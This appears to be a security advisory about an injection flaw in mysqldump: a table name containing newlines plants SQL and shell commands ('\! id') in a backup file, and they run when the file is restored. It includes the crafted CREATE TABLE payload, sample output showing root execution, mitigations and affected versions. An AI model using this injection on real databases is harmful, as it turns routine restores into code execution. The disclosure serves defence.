mysqldump is a common utility used to create logical backups of MySQL databases. By default, it generates a .sql
file containing the queries to create/drop tables and insert your data. By crafting malicious table name, an attacker can execute arbitrary SQL queries and shell commands if the dump file is imported. If we are still giving cute names to vulnerabilities, my vote is for "Bad Dump". For another related exploit scenario, see RCE in Galera via Crafted Database Name
Attack Scenario
- The attacker has gained access your application and can execute arbitrary SQL queries (for example, a backdoor in Wordpress installed via an outdated plugin)
- The attacker has
CREATE TABLE
privileges (very common as many guides/tutorials will recommend granting this privilege for the installer orGRANT ALL PRIVILEGES ON wordpress.*
) - The target runs a regular backup of their database using
mysqldump
- The attacker wants to escalate their privileges and gain further access to the system
Example Attack
First, the attacker creates a malicious table using the query below:
CREATE TABLE `evil
\! id
select user(),@@version/*` (test text);
Normally, the scheduled backups would run create a dump containing an entry like this for each table:
--
-- Table structure for table `tablename`
--
However, with our evil table, the entry looks like this:
--
-- Table structure for table `evil
\! id
select user(),@@version/*`
--
As you can see, the new lines in our table name have allowed us to insert arbitrary lines of MySQL commands controlled by the attacker. This payload will do the following once imported:
- If imported using the
mysql
command line client, it will execute theid
command viash
- It will execute an arbitrary query which will output the name of the mysql user executing the import and the server version
Now the attacker starts deleting data or making things look corrupted by inserting random broken Unicode everywhere. The system administrator springs into action and attempts to restore from the latest backup. Once he does that, the payload will be executed:
$ mysql test < backup.sql
uid=0(root) gid=0(root) groups=0(root) <-- attacker shell command
user() @@version
root@localhost 10.1.18-MariaDB <-- attacker sql query
As you can see, the attacker has successfully forced the administrator to execute some nasty commands by restoring the evil backup. Creating a payload that actually gives the attacker a backdoor is left as an exercise for the reader.
Mitigation
- Use
--skip-comments
when using mysqldump - Revoke create table privileges wherever possible (best practice anyway)
- Only dump table data instead of the structure in scheduled backups
- Use an alternative tool to backup your mysql data
Affected Versions
Package | Affected Versions | Last Updated |
---|---|---|
MySQL | All Versions | Oct 17, 2016 |
MariaDB | <= 5.5.52 and < 10.1 | March 9, 2017 |
Percona | All Versions | Oct 17, 2016 |